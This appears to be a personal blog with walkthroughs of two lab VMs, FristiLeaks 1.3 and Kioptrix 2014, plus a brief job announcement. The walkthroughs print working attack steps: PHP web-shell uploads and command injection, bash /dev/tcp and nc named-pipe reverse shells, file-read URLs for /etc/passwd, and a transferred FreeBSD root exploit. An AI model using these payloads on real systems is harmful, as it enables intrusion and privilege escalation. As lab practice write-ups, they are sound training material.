FristiLeaks 1.3

Following on from my previous post about Kioptrix 2014, this post will be about how I got root on the next VM in the list, which is FristiLeaks 1.3

So the first thing I did after turning the VM on was notice in the console that it displays it’s IP address so there is no need to run netdiscover. So lets start with nmap:

root@kali:~# nmap -A [IP-REDACTED]

Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-21 14:02 EDT
Nmap scan report for [IP-REDACTED]
Host is up (0.00035s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods: 
|_ Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries 
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.35 ms [IP-REDACTED]

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.46 seconds

Interesting results; port 80 is the only open port, and unsurprisingly it’s running a web server on that port. nmap has handily checked for a robots.txt on that system and found 3 directories listed (cola, sis, beer). Time to fire up a web browser and take a look.

The index page is not that interesting, but in the source, it does suggest that I should be able to get root within four hours. It took me at least twice that! The three directories mentioned earlier all appear to server the same page with a single meme on suggesting I’m in the wrong place. Interestingly, the image is served from an “images” directory and when I go there, I am given a listing of the directory which appears to contain only this meme and the image used in the index page.

At this point, I didn’t really know what I was supposed to do, but I tried going to the “fristi” directory and got lucky, because I was presented with an admin login page. If I hadn’t been so lucky, I would have used dirb, so I did this later with standard wordlists and it didn’t find anything. I then created a text file with all the words from both pages and both images and it then found the page.

This admin page requires a username and password, and I don’t have either, though I could guess at passwords, and I did try things like “Nelson” (the Simpsons character in the image), but didn’t get anywhere. The source of the page has a comment from someone who calls themselves “eezeepz”. There is also a comment in the meta description that says that images are base64 encoded, and they’re right. The image of Nelson is base64 encoded, and there is also a comment below it that is base64 encoded data. That comment happens to be a base64 encoded png, the content of which is the letters “keKkeKKeKKeKkEkkEk” in comic-sans font. That looks like a password, and combined with the username “eezeepz”, I am able to log in.

The page I am taken to after I log in is one where I can apparently upload a file. We know this web server runs php, so it makes sense to try to upload a php script, but when we try that it tells us that we can only upload png, jpg and gif files. I assume this is enforced by file extension rather than validating the content of the file. Most web servers will only execute files ending in .php, but a common misconfiguration is to make them execute files with .php anywhere in the name, so I called my file backdoor.php.png so I tried uploading my one line php shell with a png extension, which it appeared to accept and told me it had been placed in /uploads. Sure enough directing my web browser to http://[IP-REDACTED]/fristi/uploads/backdoor.php.png?e=whoami told me that I was able to execute commands as the user called apache.

Viewing the /etc/passwd file showed me that there were some other users that look interesting (root, ezeepz, admin, fristi & fristigod). and looking in the /var/www directory showed a notes.txt file that has a message from “jerry” to eezeepz telling them to clean their home directory, but not to “delete the important stuff”. I also noticed that I can list the contents of /home/eezeepz. In /home/eezeepz there is another notes.txt, this one is another message from “jerry” basically telling me how to run a select few commands under his account (admin). The message says to put commands in a file called /tmp/runthis and those commands will be run every minute with the results written to /tmp/cronresult.

This command in my backdoor should tell me what is in the admin account

echo "ls ~" >/tmp/runthis;sleep 60;cat /tmp/cronresult

but unfortunately it only tells me that my command has to start with /home/admin or usr/bin. neither of these contain ls, but /home/admin contains grep, so I can try this:

echo "/home/admin/grep -c . ~/*" >/tmp/runthis;sleep 60;cat /tmp/cronresult

which should tell me which files are in admin’s home folder, and it does. Files of interest are cronjob.py, cryptedpass.txt cryptpass.py whoisyourgodnow.txt. I should be able to get the contents of cronjob.py by doing:

echo "/home/admin/grep . *.py *.txt" >/tmp/runthis;sleep 60;cat /tmp/cronresult

The output from this shows me how the cronjob works. It looks like (due to a bug) it checks for ‘|&;’ instead of ‘|’ or ‘&’ or ‘;’ (they should probably have used the “any()” builtin) so I can get away with running any command as admin, as long as I prefix it with /home/admin/, (e.g. “/home/admin/echo a; ls ~” to list the content of /home/admin) and it also shows me two poorly “encrypted” passwords and a python script that was used to “encrypt” them.

I can decrypt these passwords by creating a simple python script to reverse the steps done by the cryptpass.py script:

#decrypt.py
import base64, codecs, sys
def decodeString(str):
    base64string= codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(base64string)
cryptoresult=decodeString(sys.argv[1])
print cryptoresult

When I run this with the encrypted password, I get “thisisalsopw123” from cryptedpass.txt, and “LetThereBeFristi!” from whoisyourgodnow.txt.

Running these commands as admin one at a time through web server then waiting for the cron job to run is a bit slow. It’s time to figure out how to get a reverse shell, then we should be able to switch users using the su command. I know that there is no nc or ncat or netcat on this system because I ran “which nc nectar cat” as apache and was told it doesn’t exist. Bash does though, and using redirection to and from bash’s builtin /dev/tcp, I can get similar results to using nc and bash

I started a netcat listener enemy attacking machine using “nc -vnlp 4444” then using my backdoor.php.png, I ran “bash -i >/dev/tcp/[IP-REDACTED]/4444 0>&1 2>&1”. I had to made sure to url encode this one before I requested it with my web browser for some reason because it wouldn’t work otherwise.

So now I have a shell as apache, but when I try to “su admin” it tells me that “standard in must be a tty”, and I am still the apache user. Luckily, I found a one line command that works around this and gives me a tty that I can run su in:

python -c 'import pty; pyt.spawn("/bin/bash")'

and I can use the passwords I decrypted earlier for the admin and the fristigod accounts.

There isn’t much of interest in /home/frisitigod, but that’s not frisitigod’s home directory. The home dir is /var/fristigod and inside there is a hidden folder called .secret_admin_stuffand it contains one executable file called doCom, owned by root and with the suid bit set. Unfortunately running it tells me that I’m the wrong user.

I got stuck at this point and tried various things like running the program as apache and as  admin and running as root using sudo using all the accounts I have access to. I tried running strings against the file to figure out if I could see a username or id, but I wasn’t able to. Running strings did tell me that the usage is “./program_name terminal_command” though, so it looks like it’s a way of running any command as root (obviously terribly insecure).

Eventually I noticed in fristigod’s .bash_history file there was evidence that this program had been run by fristigod as the first user (using sudo -u, which I had to read up on because I didn’t know that was a thing!). So the following command confirmed that I was able to run commands as root:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

running bash as root gives me a root shell. There is a txt file in /home/root that I can now read, which congratulates me and suggests that it should have taken me 4 hours (it took me much longer) and lastly has the flag.

I really enjoyed this machine, especially as it didn’t have any known exploits to compile and or run. It was all just configuration mistakes and silly security mistakes. I also really enjoyed having to work around not being able to use nc on this system since it wasn’t present.

Kioptrix 2014

My lab time in the PWK course labs ran out a while back and I wasn’t ready for the exam. I think I understand all the theory that I need, it just takes m e too long to PWN systems, so I decided to try a few Vulnhub VMs. This article has a list of 10 that I will be trying, the first of which is Kioptrix 2014.

There are already walkthroughs all over the web, so I don’t feel like I’m giving away any spoilers here. I’m mostly documenting it for my own notes, but of course it can be used for hints if you’re going to give it a try.

I wanted to run in in VirtualBox, which requires the use of the extra “kiop2014_fix.zip” file as wall as the VMDK from the main kiop2014.tar.bz2

After starting the VM, I had to find the system’s IP address, so I ran netdiscover and it was quickly found. To find the open ports and identify the services, I ran nmap:

root@kali:~# nmap [IP-REDACTED] -sV

Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-11 15:59 EDT
Nmap scan report for kioptrix2014.lan ([IP-REDACTED])
Host is up (0.00044s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
MAC Address: 08:00:27:DC:55:1C (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.66 seconds

Opening a web browser on port 8080 shows a 403 forbidden error message. Nothing too interesting in the response. The page returned on port 80 is more interesting though… When rendered, it’s just a heading that says “It works!”, but the source includes a commented out <meta refresh> that would redirect the browser to http://[IP-REDACTED]/pChart2.1.3/examples/index.php.

Initially, I thought I could inject some PHP in here. For example if I went to the sandbox and  changed my chart title to -“.shell_exec(“whoami”).”- then clicked the “Show code” button, it showed me that one line of code that would run would be

$myPicture->drawText(350,25,"-".shell_exec("whoami")."-",$TextSettings);

but when I clicked “Render picture”, the title was-“.shell_exec(“whoami”).”-, so it must have escaped it somehow when it really made the picture. Damn.

Next thing to try is looking for a known exploit for pChart:

root@kali:~# searchsploit pchart
--------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
--------------------------------------------- ----------------------------------
pChart 2.1.3 - Multiple Vulnerabilities | php/webapps/31173.txt
--------------------------------------------- ----------------------------------

That txt file suggests that I can read any file on the system that the account running apache can read using a maliciously crafted url, for example http://[IP-REDACTED]/examples/index.php?Action=View&Script=/etc/passwd

Interestingly, we can see how this exploit works by examining the first line of index.php, which can be seen by visiting http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action=View&Script=index.php , which is:

<?php if ( isset($_GET["Action"])) { $Script = $_GET["Script"]; highlight_file($Script); exit(); } ?>

. We don’t even really need a value set for “Action”; http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action&Script=index.php works just as well.

Anyway, there’s not much of great interest that this account can access, but perhaps we can find out why we are seeing a 403 forbidden response when we connect to port 8080…

The apache config file on FreeBSD is located in /usr/local/etc/apache2x/httpd.conf, (on this system, since it’s apache 2.2, we should replace the “x” with a “2”) so we’ll look at that with http://[IP-REDACTED]/pChart2.1.3/examples/index.php?Action&Script=/usr/local/etc/apache22/httpd.conf and at the bottom of the file is:

SetEnvIf User-Agent ^Mozilla/4.0 Mozilla4_browser

<VirtualHost *:8080>
    DocumentRoot /usr/local/www/apache22/data2

<Directory "/usr/local/www/apache22/data2">
    Options Indexes FollowSymLinks
    AllowOverride All
    Order allow,deny
    Allow from env=Mozilla4_browser
</Directory>

This tells us that port 8080 is serving files from /usr/local/www/apache22/data2, and that requests will only be allowed if the user agent starts with “Mozilla/4.0 Mozilla4_browser” . See https://httpd.apache.org/docs/2.4/mod/mod_setenvif.html and http://httpd.apache.org/docs/current/mod/mod_access_compat.html#allow for more details of how that works.

Changing our user agent to “Mozilla/4.0 Mozilla4_browser_NOT REALLY!” makes apache respond to our requests to port 80, and the response says that there is a directory called phptax. This shows us a very ugly and dated web application that I clicked around, but couldn’t find anything interesting, so I used searchsploit again:

root@kali:~# searchsploit phptax
------------------------------------------------------------------ ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------ ----------------------------------
PhpTax - pfilez Parameter Exec Remote Code Injection (Metasploit) | php/webapps/21833.rb
phptax 0.8 - Remote Code Execution | php/webapps/21665.txt
PhpTax 0.8 - File Manipulation (newvalue) / Remote Code Execution | php/webapps/25849.txt
------------------------------------------------------------------ ----------------------------------

The second one looks interesting, it basically says that we can get remote code execution because user input is not sanitised before being used in php’s exec() function. I’ll confirm this works by writing a single line php backdoor file by visiting http://[IP-REDACTED]:8080/phptax/drawimage.php?pfilez=xxx;echo “<?php echo shell_exec(\$_GET[‘e’].’ 2>%261′);?>”>backdoor.php;&pdf=make in my browser, then http://[IP-REDACTED]:8080/backdoor.php?e=whoami to make sure it worked. It did, and now I can execute shell commands and see the output

It would be really nice to have a remote shell. I tried using “nc <IP> <PORT> -e /bin/sh”, but that didn’t work and “nc -h” showed why; -e is for specifying an IPsec policy (whatever that means) on this version of nc. We’ll have to try something else; I remember some time ago that I was able to use a named fifo pipe in order to get a shell with nc. This command worked for me to connect to a netcat listener:

mkfifo pipe;nc [IP ADDR] [PORT]<pipe|/bin/sh>pipe 2>pipe;rm pipe

Running “uname -r” tells us that we’re on a FreeBSD 9.0 system. Let’s try to get root. Back to searchsploit:

root@kali:~# searchsploit -t FreeBSD 9
------------------------------------------------------------------------- ----------------------------------
 Exploit Title | Path
 | (/usr/share/exploitdb/platforms/)
------------------------------------------------------------------------- ----------------------------------
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20810.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20811.cpp
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | windows/dos/20812.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | multiple/dos/20813.c
FreeBSD 2.x / HP-UX 9/10/11 / Kernel 2.0.3 / Windows NT 4.0/Server 2003 | windows/dos/20814.c
FreeBSD 9.1 ftpd - Remote Denial of Service | freebsd/dos/24450.txt
FreeBSD mcweject 0.9 (eject) - Buffer Overflow Privilege Escalation | bsd/local/3578.c
BSD/OS 2.1 / DG/UX 4.0 / Debian 0.93 / Digital UNIX 4.0 B / FreeBSD 2.1. | unix/local/19203.c
FreeBSD 9.0 < 9.1 mmap/ptrace - Privilege Escalation | freebsd/local/26368.c
FreeBSD 9 - Address Space Manipulation Privilege Escalation (Metasploit) | freebsd/local/26454.rb
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation | freebsd/local/28718.c
FreeBSD/x86 - rev connect_ recv_ jmp_ return results Shellcode (90 bytes | freebsd_x86/shellcode/13265.c
FreeBSD/x86 - Rortbind Reverse 127.0.0.1:8000 /bin/sh Shellcode (89 byte | freebsd_x86/shellcode/13267.asm
------------------------------------------------------------------------- ----------------------------------

26368 looks promising, let’s send it to the remote machine. I ran this on my attacking machine:

searchsploit -m 26368;nc -vnlp 6666 <26368.c

then ran this on the remote system:

nc 192.168.23.120 6666 >26368.c

and after a few seconds, I hit CTRL+C to close the nc session. Not I have the exploit on the FreeBSD system, so I can compile it and run it:

gcc 26368.c -o 26368
./26368
whoami
root

We’ve got root! Inside root’s home directory is a nice txt file with some interesting information that we can read using cat

I recently learned that the guy that made this VM (Steven “loneferret” McElrea) passed away a couple of months ago. I’m grateful for the time he put into making this VM and my thoughts go out to his family.

I got a job at an information security company!

In a previous blog post, I said that I attended B-Sides London earlier this year. It turns out that was probably one of the best things I’ve done this year because, not only was it very enjoyable, but I ended up speaking to a quite a lot of people while I was there, including some people that worked at security companies that were recruiting and I ended up getting a job at a company that is well known in the infosec world.

It was about time I moved on from my previous position, and this is a real step up for me. I’ve been working there for a few weeks now and I’m really enjoying it, the work is fun and interesting, the working environment is brilliant. It’s just great to be working in a field that I’m interested in and be somewhere that cares about career progression.